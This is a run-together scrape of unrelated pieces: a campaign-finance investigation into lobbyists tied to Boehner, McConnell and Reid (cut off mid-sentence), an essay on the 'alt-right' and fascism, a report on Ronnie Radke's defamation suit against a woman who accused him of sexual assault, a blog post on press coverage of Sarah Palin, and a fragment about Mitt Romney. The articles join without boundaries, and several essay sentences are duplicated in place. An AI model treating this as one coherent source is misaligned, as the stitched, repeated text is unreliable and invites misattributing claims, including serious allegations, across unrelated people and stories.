that to be the case. Five years later, the judicial logic of Citizens United has unraveled. Political advisers closely associated with House Speaker John Boehner (R-Ohio), Senate Minority Leader Harry Reid (D-Nev.) and Senate Majority Leader Mitch McConnell (R-Ky.) serve as both operatives on their behalf and lobbyists for corporate clients with business before Congress. The clients are encouraged to give generously to super PACs associated with the respective lawmakers, according to lobbyists familiar with the widespread strategy. Trevor Potter, one of the top election lawyers in the country whose clients include Sen. John McCain (R-Ariz.) and comedian Stephen Colbert, warns that this arrangement creates exactly the appearance of corruption that courts have used to justify campaign finance limits. “It does make a significant difference to have lobbyists involved because then you have the very lobbyists who seek official action from the members being the conduits to the money,” Potter said. “It makes them valuable to their clients because they have a good relationship with the member, and they have a tight relationship with the member because they have access to the money from their clients.” They're making use of the opportunity. A connected super PAC and nonprofit manned by lobbyists tied to Boehner have collectively received millions from interests in the insurance, drug, energy and other industries. Big-money groups associated with McConnell have been funded by coal companies, insurers and hospitals. Mining and gambling businesses have given directly to the super PAC associated with Reid, which is staffed by two Reid confidantes, one of whom advises the lobby shop that represents those companies while she also prepares to run the senator's 2016 re-election bid. All these companies have hired lobbyists who are connected to those same lawmakers as well as to the big-money groups and who are also working on issues over which Congress has much sway. The groups they fund have spent big to put and keep Boehner, McConnell and Reid in the driver’s seat. Tony Podesta, a Democratic super lobbyist with the Podesta Group, told HuffPost that he has encouraged his corporate clients to give to super PACs and dark money nonprofits. “It’s unfortunate that we have the decision Citizens United, but as long as that’s the law of the land, then Democrats and Republicans are both active in these kinds of endeavors,” he said.
Speaker John Boehner has close ties to the American Action Network, a dark money nonprofit, and the Congressional Leadership Fund, a super PAC. These groups raise funds from clients of lobbyists looking to increase their own influence. (Photo: J. Scott Applewhite/AP)
In the House of Representatives, Speaker Boehner maintains a tight network of former aides who have decamped to K Street. Through these aides, he is tied to a dark money nonprofit and related super PAC that have spent millions to help him become speaker and to maintain and expand his GOP majority. The House leadership's agenda regularly aligns with that of the clients of the lobbyists who give to these groups. The two outside groups in the middle of Boehner’s web are the American Action Network, a 501(c)(4) nonprofit that does not have to disclose its donors, and the Congressional Leadership Fund, a super PAC operating under AAN’s umbrella. The board of directors of AAN and Congressional Leadership Fund is lined with lobbyists and influencers including Brownstein Hyatt Farber Schreck strategic adviser Barry Jackson, a former chief of staff to Boehner who left his office in 2012. Brownstein’s profile of Jackson, who is not registered to lobby, focuses heavily on his congressional and executive branch connections and experience without mention of any particular policy expertise. Also, Brownstein Hyatt employed former Boehner aide Marc Lampkin as managing director of its Washington lobbying office. His firm bio declares him to be a proud member of “Team Boehner," and he is widely seen as one of the speaker's closest advisers. He is also a lobbyist for a number of interests that contribute to super PACs and nonprofits that help Republicans in elections. The Apollo Education Group, which owns and operates the for-profit University of Phoenix, has donated $50,000 to the Congressional Leadership Fund since 2012 while employing Lampkin to lobby on behalf of such schools. Boehner and his House Republicans have long been staunch supporters of for-profit universities. In recent years, they have fought back against federal regulations to rein in that industry, which relies hugely on its students receiving federal grants and taxpayer-backed loans while it fails to graduate those same students. The CEO of pharmaceutical giant Abbott Laboratories, another Lampkin client, gave $50,000 to the Congressional Leadership Fund in 2012. Boehner recently inaugurated a new Abbott factory in his congressional district while opposing changes to tax laws that allowed Abbott to purchase an overseas competitor in 2014 and turn itself into a multinational corporation to avoid U.S. tax payments (the tactic, known as an inversion, has come under increasing scrutiny). Lampkin and another former Boehner aide, Sam Geduldig, have both registered to lobby for the Property Casualty Insurers Association of America, a trade group for large insurance companies that has given $185,000 to outside groups supporting Republicans since 2012. PCI’s contributions include $25,000 each to the Congressional Leadership Fund and AAN. The insurers group also pumped funds into the dark money network run by Steven Law, a member of McConnell’s inner circle and a former general counsel at the U.S. Chamber of Commerce. PCI gave $75,000 to Crossroads GPS and $25,000 to the Kentucky Opportunity Coalition. Both groups are run by Law and spent millions to re-elect McConnell in 2014. PCI also put money into super PACs supporting two Republicans first elected to the Senate this past November: Joni Ernst of Iowa and David Perdue of Georgia. Their seats were among the handful McConnell needed his party to win in order for him to take the Senate’s top spot. "PCI participates in the political process like many others and supports pro business and pro property & casualty organizations,” Marguerite Tortorello, PCI's senior vice president for public affairs, said in a statement. Shortly after the 2014 election, the two top priorities of the insurers group and the broader insurance industry were rolled into one: A provision to roll back capital standards placed on insurance companies by the Dodd-Frank financial reform law was attached to the reauthorization of the Terrorism Risk Insurance Act. Although that bill stalled last year, the new Congress in January passed a terrorism insurance reauthorization with the capital standards rollback attached -- with bipartisan support. An amendment from Sen. Elizabeth Warren (D-Mass.) to strip the rollback measure failed. The inability to pass legislation was a hallmark of the last Congress. But one area where lawmakers forced swift action wound up being profitable for the super PACs and nonprofits that support them. In April 2013, the Federal Aviation Administration announced that it would be furloughing air traffic controllers throughout the year due to the automatic budget cuts brought about by sequestration. This would have led to flight delays, lost profits for the airline industry and lost wages for controllers and pilots. Within a week of the announcement, Congress passed legislation to ease the sequester cuts at the FAA. Lobbying players who pushed Congress to act on the FAA also sent contributions to various outside groups connected to congressional GOP leaders. Airlines for America, the industry’s main trade group, gave $150,000 to the Congressional Leadership Fund, $35,000 to the pro-McConnell super PAC Kentuckians for Strong Leadership and $40,000 to Defending Main Street SuperPAC, a group backing moderate Republicans in fights with tea party candidates. “You can’t have good policy without good candidates and legislation, which is why it’s important to the 2 million people we fly every day and the nearly 600,000 people we employ that we be involved,” Airlines for America spokesman Vaughn Jennings said in a statement. The lobby group is headed by Nick Calio, a veteran of both Bush administrations, who expressed an interest in increasing the airline industry’s political giving upon taking the helm in 2010. “You’ve got to be part of the political process, and contributions and political support are part of the political process,” Calio told Politico in 2010. “When you have people who consistently support you on policy issues, they expect you to be part of their political life support system. It’s just that simple.” The National Air Traffic Controllers Association, a labor union, also gave $50,000 to the Congressional Leadership Fund and $150,000 to Defending Main Street after Congress ended the sequester-related furloughs. Those contributions were out of the ordinary for the union, which had been a major supporter of Democrats alone. It has given $3.9 million to super PACs backing Democrats. Calio is deeply enmeshed in the political party machinery, and his group rewards congressional action by making huge contributions to outside groups that directly support lawmakers. What he does not have is a direct relationship with an outside spending group. Other major lobbyists, including heads of trade associations, do. Take Mike Duncan, who served as chairman of the Republican National Committee from 2007 to 2009. Following the Citizens United decision, he joined with Karl Rove and other GOP operatives to form the super PAC American Crossroads and the nonprofit Crossroads GPS. He still sits on the board of American Crossroads. But Duncan is not just a party operative. In 2012, he became head of the American Coalition for Clean Coal Electricity, a major Washington lobbying arm of the coal and railroad industry. The coalition was in the midst of a massive advertising and pressure campaign in Washington as the Obama administration pushed for new regulations on coal-fired power plants to reduce their pollution. To further increase its GOP connection, the coal coalition signed up Boehner’s former aide Lampkin to lobby in 2013. Coal industry companies and executives on the board of the American Coalition for Clean Coal Electricity have contributed more than $10 million to Republican outside groups. Joe Craft and his company Alliance Resource Partners have provided most of this money with contributions totaling nearly $9.4 million. Alpha Natural Resources, Consol Energy and Murray Energy have also chipped in. Additionally, Matthew Rose, the CEO of Burlington North Santa Fe and a member of the coal coalition’s board, gave $25,000 to the super PAC supporting McConnell in 2014. (This is all aside from the hundreds of millions in political spending by the Koch brothers, fossil fuel magnates.) Republicans have, in turn, become increasingly vocal in their support for the coal industry and their opposition to any rule, regulation or idea -- including belief in climate change driven by human action -- that could harm the industry. A spokeswoman for the coal coalition said that Duncan separates his work at American Crossroads from that at the lobbying group and does not solicit the latter’s members to give to the former. The pro-Boehner AAN, the nonprofit parent of the Congressional Leadership Fund, is a hotbed of lobbyist activity. The board currently boasts four registered lobbyists -- former Sen. Norm Coleman (R-Minn.), former Reps. Tom Reynolds (R-N.Y.) and Vin Weber (R-Minn.), and former RNC official Maria Cino -- and two other employees of lobbying firms -- former Puerto Rico Gov. Luis Fortuno and former Boehner aide Barry Jackson. Past AAN board members include major GOP fundraiser and previously registered lobbyist C. Boyden Gray and former Rep. Jim Nussle (R-Iowa), who is the head of the Credit Union National Association. “We’re proud to have a distinguished board from business executives to policy leaders to former elected officials -- they’ve been successful in all walks of life and they’re critical to our success,” Dan Conston, spokesman for both AAN and the Congressional Leadership Fund, said in an email. “Do they fundraise for us? Of course. Do they uphold their fiduciary responsibility to us as board members? Of course.” Crossroads GPS, like its sister super PAC, also maintains connections to K Street through its board. Crossroads board member Sally Vastola, a former staffer for Rep. Reynolds, decamped with her old boss to the law and lobbying firm of Nixon Peabody, where she lobbies for pharmaceutical companies and the student loan giant Sallie Mae. "Both American Crossroads and Crossroads GPS have separate and independent boards whose members do not fundraise for either organization and have a range of work outside their board positions," said Paul Lindsay, communications director for the Crossroads duo.
Lobbyists straddling the party operative-influence peddling line have themselves given more than $1 million to super PACs and nonprofits since the Citizens United decision. The top lobbyist donor to these groups is Boyden Gray, a top-shelf GOP fundraiser and former AAN board member, whose contributions total $390,000. Gray made contributions to such super PACs as American Crossroads, Freedom PAC and Kentuckians for Strong Leadership. According to lobbyist contribution disclosures, he also gave to dark money groups: $50,000 to Crossroads GPS and $15,000 to Wisconsin Club for Growth as it worked incredibly closely with Wisconsin Gov. Scott Walker (R) to help him survive a recall election. "The vast majority of our donors give on the basis of broad philosophical conviction," said Crossroads' Lindsay. "The fact that some have various policy interests should come as no surprise, but those interests have no effect on our activities." The full record of lobbyists and their clients funding outside groups connected to party leadership is almost certainly obscured by the fact that many of these groups are not required to disclose their donors. Dark money nonprofits like AAN, Crossroads GPS and the Democratic Party group Patriot Majority USA spend huge sums on elections and on attack ads masquerading as issue advocacy. Few of their donors have materialized, but what little has leaked indicates that contributions from clients of party-linked lobbyists and trade associations actively lobbying Congress are common. AAN has sucked in millions from Washington-based corporate trade groups and corporations with major interests in Congress. Those donations include $6 million from Pharmaceutical Research and Manufacturers of America and $3.3 million from pharmaceutical giant Aetna. The Alliance for Quality Home Nursing Care chipped in $250,000. Additional funds came from America’s Natural Gas Alliance, the Motion Picture Association of America and the top lobbyist for Health Care Service Corporation. The Alliance for Quality Home Nursing Care and its affiliated group, the Partnership for Quality Home Healthcare, have given $2.9 million to outside groups as part of their lobbying campaign to restore Medicare reimbursements for home and hospice care that were cut by the Affordable Care Act. The two groups have hired top lobbyists to help direct their efforts, including Democrat Tony Podesta and Republican Haley Barbour. Barbour, a former two-term governor of Mississippi and a onetime RNC chairman, is the personification of this cross-pollinating age. He is a powerhouse lobbyist running the BGR Group who is also an adviser to political campaigns and a past fundraiser for American Crossroads and Crossroads GPS. One client, the Partnership for Quality Home Healthcare, gave $500,000 to Crossroads GPS in 2012. In 2014, Barbour joined hands with the U.S. Chamber of Commerce to beat back a tea party primary challenge to Sen. Thad Cochran (R-Miss.). Cochran had attracted the ire of tea party activists for his support of immigration reform and his long history of earmarking funds to build projects in his impoverished state. To save the six-term senator’s seat, Barbour helped launch the super PAC Mississippi Conservatives with the backing of the chamber and Republican Senate leadership. He chipped in $35,000 of his own money, and Crest Investment Company, one of his clients, sent an additional $50,000. The chamber gave $100,000 to the super PAC and directly spent another $1.2 million to help re-elect Cochran. Cochran’s eventual victory in a run-off election was a triumphant moment for Barbour, the chamber and Republican leadership. They had beaten back a potential stumbling block to capturing the Senate majority. The chamber didn’t just support an establishment Republican in Mississippi last year. The larger anti-tea party campaign was chiefly its work. The chamber ran hard against tea party candidates in Kentucky and North Carolina while scaring off potential challengers in West Virginia before they could materialize. In Iowa and Colorado, it found common ground on candidates with national tea party groups. Of course, beyond being a funder of election ads, the Chamber of Commerce is also the nation’s largest business lobby, generously funded by corporations across America. It employs dozens of Washington lobbyists, including top former staffers for McConnell. And it does not shy away from the implication that its campaign spending is part of its lobbying operation. "Our deal is to have a political program so that there is a hammer, and there is a consequence, and there is leverage and it's aggressive," Rob Engstrom, the chamber’s national political director, told CNN in 2014. Once Republicans won the majority in the Senate, they immediately talked up the chamber’s priorities, from the Keystone XL pipeline to tax reform and pro-corporate trade policies. Newly elected Republican senators backed by the chamber announced their support for immigration reform, which the chamber strongly favors, and increased transportation and infrastructure spending, a major chamber wish opposed by the GOP’s tea party wing. As noted, a former general counsel for the Chamber of Commerce and McConnell insider, Law, now runs American Crossroads and Crossroads GPS. For his own re-election, the new Senate majority leader is tightly bound to the Crossroads duo and two state groups, Kentuckians for Strong Leadership and Kentucky Opportunity Coalition. Former McConnell aide Scott Jennings operates as the public face of the latter two organizations, which are also headed by Law. Soon after the 2014 victory, McConnell and Law announced the creation of yet another super PAC, the Senate Leadership Fund, which will raise funds to maintain the new GOP majority. The formation of the group echoes the big-money strategy used by now-Minority Leader Reid to keep Senate Democrats in power for the previous four years.
Lobbyists and their clients have poured money into a super PAC and nonprofit run by former aides of Senate Minority Leader Harry Reid as they seek legislative action from his office. (Photo: Benjamin Lowy/Getty Images)
Indeed, Democrats have been tapping the post-Citizens United nexus of super PACs, former leadership aides and lobbying groups, too. Reid’s network is well-connected. Rebecca Lambe, the adviser most closely associated with Reid’s re-election in 2010 and his coming bid in 2016, is employed by the lobbying firm Cassidy & Associates -- as is former senior Reid aide, Kai Anderson. Lambe began work at Cassidy in early 2011. She is also the treasurer of Senate Majority PAC, the super PAC aimed at electing Senate Democrats. The latter group was founded in 2011 by Lambe and Susan McCue, Reid’s former chief of staff and longtime confidante. McCue, who is president of Senate Majority PAC, is also connected to Patriot Majority USA, a dark money group with a similar aim. Since the Citizens United decision in January 2010, lobbyists at and clients of Cassidy & Associates have given $675,000 to Senate Majority PAC and affiliated groups. Another $1.66 million has come from those who attended super PAC strategy sessions hosted by Lambe, including lobbyists and clients of other lobbyists, some of whom are other former Reid aides. Lambe’s connection to Reid is an asset to Cassidy, and the firm makes no bones about it. Her Cassidy website bio is rich with details about her ongoing connections to Reid, and her relationship with the top Senate Democrat has been a selling point in meetings with prospective clients. At one pitch meeting in May 2013, for instance, Lambe was described as both a senior Cassidy staffer and Reid’s top political strategist, according to a source at the meeting. It’s common for lobbyists to reference their ties to powerful politicians earned through past service, but ongoing service is unusual. A second source in the room recalled Lambe being mentioned as a Cassidy staffer who would be available to the prospective client, but couldn’t recall how she was specifically identified with regard to Reid. “Of course, her reputation precedes her,” the second source said. In 2012, her company bio (accessed through the Internet Archive) said, “Lambe is one of the nation’s top political strategists. … Building on the highly successful model in Nevada, Lambe recently led the effort to create Majority PAC [now Senate Majority PAC], an unprecedented, independent effort to protect the Democratic Majority in the U.S. Senate in 2012. She currently serves as a Senior Advisor and Strategist to the newly formed SuperPAC.” Tom Alexander, a spokesman for Cassidy, said that “there is nothing unusual about promoting the background and experience of your team. Rebecca does not lobby for us; rather, we periodically seek her counsel as we develop effective strategies for our clients.” Lambe has been a liaison to K Street Democrats on Senate Majority PAC’s plans and fundraising needs. She led a presentation in June 2013 about the super PAC before some of the top Democratic lobbyists and lawmakers in Washington. Attendees included Reid, House Minority Leader Nancy Pelosi (D-Calif.) and lobbyists from firms whose clients gave to the super PAC as well as to Patriot Majority USA. “She’s a very smart political operative, and I would support anything that she does,” Podesta, another attendee, said of Lambe. That event, he said, was intended “to encourage [the lobbyists] to contribute and to encourage them to encourage others to contribute.” Lambe is also closely involved with what’s known as the Clean Energy Project. McCue, the Senate Majority PAC co-founder, sits on the project's board, and Cassidy & Associates is a top sponsor. Lambe herself helps organize its annual National Clean Energy Summit, held in Las Vegas. The summit in his home state serves as a venue for Reid to showcase the alternative energy industry in Nevada and provides space for energy and vehicle companies to promote their products. One of the repeat sponsors of the summit is Cassidy client and casino operator MGM Resorts International, which is also a heavy donor to Senate Majority PAC. The Cassidy firm and its clients generally have been an oft-tapped resource for Reid and Senate Majority PAC. In 2012, Gerald Cassidy, the firm’s founder, gave $50,000 to the super PAC. (Cassidy, who is officially retired from the firm, is known as the father of the earmark.) Michael Kowalski, then CEO of Cassidy client Tiffany & Co., gave $125,000 in the 2012 elections and another $100,000 in 2014. In 2010, MGM Resorts gave $300,000 to Patriot Majority, then a super PAC, supporting Reid’s re-election. Newmont Mining Corporation put $100,000 into Senate Majority PAC in 2012 and hired Cassidy the next year. Alexander, spokesman for Cassidy & Associates, said the firm does not comment on contributions made or solicited by its employees and would not say whether the firm asked clients to give to super PACs. The $225,000 contributed by Kowalski came as Tiffany & Co. was engaged in a lobbying campaign, alongside a coalition of environmental and fiscal watchdog groups, to update a key federal mining law from 1872. The company employed former Reid aide Anderson to lobby on its behalf. After Democrats won control of both houses of Congress in 2006, Rep. Nick Rahall (D-W.Va.) and other congressmen pushed a bill to require mining companies operating on public lands to pay royalties to the government and to abide by stricter environmental regulations. Rahall told USA Today in 2007 that everyone in the House would be for reform, but that Reid, then the Senate majority leader, posed an obstacle. “Well, obviously, the man in control over there is the gentleman from the largest gold-producing state,” Rahall said. Nevada is one of the world’s top producers of gold, and Reid, whose father was a gold miner, is an ardent supporter of and regular opponent of new regulation on the industry. A mining reform bill passed the House in 2008 but went nowhere in the Senate, where Reid opposed the level of royalties, among other provisions. No such bill has passed either chamber since. Reid never stated outright that he was against the mining reform, though he said it must be crafted appropriately to satisfy the industry and protect mining jobs. The continued debate has helped elicit further contributions from both the mining industry and consumer-facing companies like Tiffany, which are hoping to avoid customer backlash over ties between their products and polluting mines. Environmental groups have already launched campaigns targeting the sale of jewelry using materials from mines with poor pollution records. Tiffany’s reform stance, in particular, stems from its past failure to get in front of consumer fury over the sale of “blood diamonds” -- diamonds sourced from war-torn African countries -- in the 2000s. CEO Kowalski told the Las Vegas Sun in 2007 that his company’s involvement in the issue “has never been ulterior or anything more than corporate self-interest.” As Tiffany became more involved in the issue, Kowalski’s donations increased. Prior to 2007, he had made few contributions. But since 2008 he has given more than $160,000 to Democratic Party candidates and party committees, including $7,200 to Reid’s 2010 campaign. This was on top of the $225,000 to Senate Majority PAC. Tiffany has been unable to secure a legislative win despite its heavy giving. Sometimes lobbyists squeeze corporations for money knowing their goal will remain elusive.
Anderson, the former Reid aide-turned-Cassidy staffer, also represents Newmont Mining, one of the top American gold mining companies operating in Nevada, but that lobbying has a different focus: federal efforts to preserve the greater sage grouse. The company fears that protections for the imperiled bird under the Endangered Species Act could interfere with its mining operations. The Fish and Wildlife Service is supposed to make a decision on whether to list the bird by September 2015. Cassidy was hired in July 2013, as the Bureau of Land Management was evaluating threats to sage |
been made of the recent wave of “normalization” of the “alt-right” (also known as fascists – but more on that later), with particular ire and ridicule directed at this Mother Jones piece about “alt right” (once again, fascist) thought leader Richard Spencer (Mother Jones originally tweeted their piece with the caption “Meet the dapper white nationalist riding the Trump wave,” but has since deleted the tweet). The piece was widely lambasted for depicting Spencer more as a Merlot drinking, sushi loving hipster rather than as the dangerous scourge that he is. The Los Angeles Times drew similar ridicule for this tweet, which depicts Richard Spencer as the cool new kid in town.
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In response to the two aforementioned articles, New York Magazine’s style section, “The Cut,” In response to the two aforementioned articles, New York Magazine’s style section, “The Cut,” ran an excellent piece about the role style plays in the “alt-right” movement. As Anna Silman writes, “For the alt-right, style is a propaganda tool, both to subtly pay homage to the pastiche of far-right movements before them (from the ‘retro 1980s’ all the way back to Leni Riefenstahl) and to present a façade of legitimacy where none exists.” Silman also points out that Spencer and his ilk made the conscious decision to distance themselves from the traditional American conception of “white-nationalism,” that is, poor rural whites, in order to attract a wider audience.
But this aesthetic consciousness should come as no surprise, nor should the accompanying media fascination. In a But this aesthetic consciousness should come as no surprise, nor should the accompanying media fascination. In a brilliant essay for the New York Review of Books, Susan Sontag wrote about the enduring allure of the Nazi aesthetic. Sontag wrote of the persistent appeal of Leni Riefenstahl’s (Nazi Germany’s greatest filmmaker) propaganda as indicative of “the cult of beauty” (read: kitsch) and the longing for “orgiastic” community displays (those hours long marathon Trump rallies, anyone?). That Trump’s policies and cabinet appointments seem as if they will be massively deleterious to large swaths of his voter base is immaterial; as long as his supporters have a sense of purpose and belonging, they’re his.
Most important for the present case however is Sontag’s discussion of uniforms, which not only “suggest fantasies of community, order, identity” as well as “competence” and “legitimate authority,” but also act as a form of dress up (Sontag’s discussion goes on to explore the relation between Nazi aesthetics and modern eroticism, specifically sadomasochism, but that’s another story). The donning of a uniform outside of any official capacity is an attempt to infiltrate a group through means of visual association. Spencer and the rest of his “dapper” cronies, with their close-cut suits and innocuous J-Crew sensibilities, are dressing up as those same Washington bureaucrats and effete young liberals that they so despise.
The shrewdness that separates Spencer and the “alt-right” from their more overt (and therefore, less dangerous) predecessors, is that they understand how the game is played. Minds are not won by burning crosses and waving Nazi flags, they are won by good tailoring and policy conferences – this is the facade of legitimacy that Silman references in “The Cut.” It is infiltration, not demonstration, that is the precursor to influence.
Nazis are socialists/Nazis are left wing
The debate around where Naziism ought to be placed on the political spectrum is still not settled, but let’s focus less on the historical debate and more on the way in which it is currently used to deflect accusations of fascism and to denounce the American left.
One of the key arguments levied by those who want to realign Naziism, and more broadly, fascism with the left in the popular imagination is that both the Nazi regime and the Soviet regime were totalitarian states. One of the premises here is that Soviet Russia is the pure embodiment of the left, and that, because Nazi Germany closely resembled Soviet Russia in a number of important aspects, Nazi Germany must also be on the left.
There are a number of problems with this argument, however. First, the understanding of politics as a linear spectrum, seems to me, to be deeply flawed. An alternative, and I think better, understanding is to imagine the political spectrum as a circle. Certainly both the left and the right have had their authoritarian manifestations and, while they are clearly different in their ostensible ideological justifications (look no further than the lyrics to the There are a number of problems with this argument, however. First, the understanding of politics as a linear spectrum, seems to me, to be deeply flawed. An alternative, and I think better, understanding is to imagine the political spectrum as a circle. Certainly both the left and the right have had their authoritarian manifestations and, while they are clearly different in their ostensible ideological justifications (look no further than the lyrics to the Horst Wessel Song and The Internationale ), those manifestations are difficult to separate in terms of their actual actions. Rather than trying to assign all of them to one side of a linear spectrum, imagine both beginning on opposite sides of the circle, and then extending in downwards until they meet again at the bottom.
But it is not so much the non-distinction between the actual conditions of totalitarian regimes that matter here, but their justifications. Communism and socialism of course served as the leftist theoretical justifications for numerous totalitarian regimes. Naziism however, which officially has “socialist” in its name (“The National Socialist German Workers’ Party”), is not a movement of the left. Despite the “socialist” moniker, Nazi ideology was always nationalist (conveniently, also in the name), as opposed to the internationalist communists (though Soviet Russia embraced fascist style nationalism whenever convenient).
Of course, fascism comes in different forms than just Naziism. We commonly conflate the two words in the United States, but they mean different things. To call Richard Spencer a Nazi is only partly accurate, but to call him a fascist is spot on.
Umberto Eco, the recently deceased Italian philosopher and novelist, wrote one of the most valuable texts for sniffing out fascism in all its varied forms – Umberto Eco, the recently deceased Italian philosopher and novelist, wrote one of the most valuable texts for sniffing out fascism in all its varied forms – his essay “Ur-Fascism”. Eco leads us through 13 features which he believes constitute the kernel of fascism as an ideology. I won’t go into the entire list here, but I would like to point out a two key entries:
First, Eco’s concept of “Popular elitism.” Fascism’s “popular elitism,” not intellectual, but national type. In Trumpian terms: Americans belong to the greatest nation on earth, Trump voters are the greatest Americans, every American can and will, one day, see things his way. It follows: liberals are not Trump voters, and are thus lower on the totem pole, immigrants are not American, and thus rank even lower than liberals.
Second is Eco’s discussion of “machismo.” Tied to fascism’s love of war, is a love of masculinity (as it’s traditionally understood). Accompanying this love of masculinity is a hatred of its opposite, namely, femininity. Trump has routinely played upon misogynist tropes (which are simply the negative reflection of machismo) to rile up his base, and his stated policies regarding abortion also signal an attack on women. That so many of Trump’s misogynist attacks are sexual in nature (remember when “pussy-gate” was the worst of our troubles?), speaks to the repressed and angry sexuality of the “gamer-gaters” and “men’s rights activists” who gravitate towards Trump and the “alt-right.”
The alt-right’s insisted repetition of the idea that “fascism is of the left” (consider The alt-right’s insisted repetition of the idea that “fascism is of the left” (consider this Breitbart piece and this Washington Times piece ) is nothing more than a deflection. It’s a classic “tu-quoque” (which translates to “you also” in latin) – an argument strategy which seeks to discredit the opposing side by pointing out hypocrisy (i.e. “you levy these accusations at Trump, but just look what Soviet Russia did!”). The problem here is that two statements can be true at once (“Trump is a fascist” and “Soviet Russia repressed freedom of speech” are not mutually exclusive).
The important feature of the “tu-quoque” argument here is that those who employ it do not dispute the premises that comprise the accusations of fascism, they simply change the subject. No one on the “alt-right” would argue against the claim that they hate feminism, they would simply say that the Soviets had restrictive abortion laws as well, thus reorienting the discussion – don’t allow it.
––––––
Once we get past the initial, darkly comic, reaction to the Google search suggestions, we can see that their popularity points towards the beginning of a reeducation on Naziism and fascism in America. Reeducation, which is followed by infiltration into government, by acceptance, by control – we cannot let this happen. Those in the “alt-right” who rebuff the label of fascism either do not know their own movement, or do not know the meaning of the word — now is the time to teach them.Ronnie Radke has filed a civil lawsuit against a woman who publicly accused him of sexual assault. AP has obtained a twelve-page complaint filed this morning with a civil court in Los Angeles, where the Falling In Reverse frontman has lived for the past few years.
Photo by Chris Martin
In a series of Facebook posts and subsequent comments and followups, 25 year-old Salt Lake City resident Kacee Boswell accused Radke (and seemingly members of his entourage) with a group sexual assault, during and after the Falling In Reverse performance at the Murray Theater, June 3, 2015.
Boswell’s social media posts described multiple bruises, a three inch contusion on her jaw, and torn throat ligaments as a result of the alleged attack. Since making the accusations public (and thanking two friends for “putting that monster on blast”), Boswell has been subjected to online harassment.
The alleged victim initially indicated she “wouldn’t mind” speaking with AP to provide further details, giving her phone number to one of our editors. A couple of hours later, Boswell changed her mind about speaking to AP, and spoke with The New York Daily News instead.
In a statement provided to AP, Radke denied the allegations.
The civil complaint makes a number of claims in an effort to contradict Boswell’s account.
From the complaint: “As best as can be determined from Defendant Boswell’s shifting versions of events, Defendant Boswell claims that, on that night, she was raped two separate times, to wit, (1) during the band’s performance, in the band’s tour bus, with Radke’s bodyguard perpetrating the first alleged rape, and (2) after the band’s performance, in a car en route to Boswell’s home, with Radke and Radke’s bodyguard perpetrating this second alleged rape.”
The complaint continues: “Ronald Radke has been exonerated as fully as can occur in less than one week: The police swabbed the tour bus and the car and found no evidence of a rape. The police have taken no action against Radke. The police did not arrest Radke. The prosecutor has not charged Radke. Radke was not required to post bail. No restrictions have been placed on Radke’s movements.” One of Boswell’s Facebook comments stated Radke and his accomplice(s) posted bail, but information provided to AP by the Murray City Police Department appeared to contradict this.
Read more: Slaves guitarist defends Ronnie Radke over new allegations
The first rape was impossible, according to the complaint, as Radke’s bodyguard was present on or near the stage during Falling In Reverse’s performance. “The second alleged rape – after the performance, in a 4-door Nissan Maxima sedan, by Radke and the bodyguard – is equally impossible, since, among other reasons, Radke sat in the front of the car while Boswell sat in the back.”
So what does Radke allege happened on the night in question? He admits to a prior “casual intimate relationship” with the alleged victim. Her presence on the tour bus after the show is not in dispute, however, the band and crew say there were never less than a dozen people onboard.
Furthermore, Radke (and other witnesses) say the singer was never alone with the alleged victim.
After the show, Falling In Reverse buddy Danny Bateman (best known from Fuse TV’s Warped Roadies) offered to drive Boswell, Radke, and Radke’s bodyguard to a local bar called The Woodshed. Bateman drove, Radke sat shotgun, and the other two sat in back.
While en route, according to the complaint, “Radke decided that Boswell was seriously intoxicated or otherwise debilitated in some manner. Radke told Boswell that, instead of going to The Woodshed, Radke wanted the car to take Boswell either to a hospital or to her home. Boswell refused to go to a hospital, instead providing the name of an intersection as the location where she wanted to go.” Once at the intersection, “Boswell initially refused to leave the car; [Bateman] had to help secure her exit from the vehicle. Boswell then sat on the curb, awake, coherent and operating her phone.”
Radke says Bateman called the police and a passerby offered to stay with Boswell. The claim alleges that Boswell indicated she lived nearby, so the car drove off, only to return shortly afterward to find her lying down on the ground. AP reached out to this passerby, who responded with a brief text message.
“I witnessed the three gentlemen leaving her on the side of the road extremely disoriented and intoxicated,” he wrote. “I had stated there was a brief altercation (heated discussion) prior to the police arriving. I did believe Ronnie’s story and allowed them to leave the scene before the police arrived.”
He suggested there may have been wrongdoing “on everyone’s part” but refused to speculate as to what happened prior to what he witnessed, or what, if anything, should happen as a result. He noted that he has cooperated with Murray City Police and will not be responding to any further media requests.
By numerous accounts, Radke and his bodyguard hung out with friends at the bar and grabbed a drive-thru meal before returning to the bus, after which they were escorted by police back to the station for questioning. The complaint notes that at no time were they under arrest. Radke says he cooperated fully, answering questions for several hours, then was free to go, without any restrictions on his movements (or charges filed) whatsoever.
Radke is suing Boswell for Defamatory Statements made online and to the New York Daily News, alleging she acted with some combination of malice, fraud, and/or oppression. “The gist or sting of the Defamatory Statements is that Radke is a rapist, an alleged rapist and/or someone who condones rape by members of his entourage and that Radke has been arrested and has posted bailed [sic] for a violent sexual crime.”
Radke’s suit seeks monetary compensation for damages to the singer’s reputation. “The Defamatory Statements make or are likely to make Radke the subject of hatred, contempt, ridicule, obloquy, opprobrium and/or shunning,” and causing damage to his “property, business, trade, profession and/or occupation.”
After numerous requests for an interview, Boswell finally agreed to speak with AP as this article was going to press. The interview will be posted soon.The Palin Double Standard
It's apparently legitimate to call Sarah Palin a liar without producing any evidence or bothering to check facts.
James Joyner · · 22 comments
Andrew Sullivan calls out John Heilemann for calling “possibly fictitious” her claim that “she and Todd drove their motor home from Wasilla to Los Angeles (distance: 3,375 miles) to watch Bristol on Dancing With the Stars.”
Here’s what I want to know: what process led both John and New York magazine not to confirm whether that 3,375 motor home drive was actually, rather than “possibly”, fictitious? With most politicians, journalists actually try to check factual claims with, you know, reporting. But it seems that one of the best reporters I know, has not, in this case. Why? Why is Palin – alone of all national figures – allowed to tell the tallest, most implausible stories in public and never get quizzed on them by the press? Why is she treated differently? Why are the claims of a candidate who is, say, a veteran vetted, but Palin’s manifold empirically dubious assertions left hanging as if truth didn’t matter any more?
By the same token, however, would Heilemann and New York magazine dare assert that any other national politician of remotely Palin’s stature might be lying about something without bothering to fact check it or present even a shred of evidence? I can’t imagine it.
I happen to think Palin’s a clownish figure, who long ago became a pop culture phenom rather than a legitimate politician. But journalists should nonetheless exercise due diligence when reporting on her, living up to at least the minimal standards of their craft.Mitt Romney has emerged from hibernation to do his first televised interview since he suspended his presidential campaign last month, saying he would be “honored” to serve as Senator John McCain’s vice-presidential nominee.
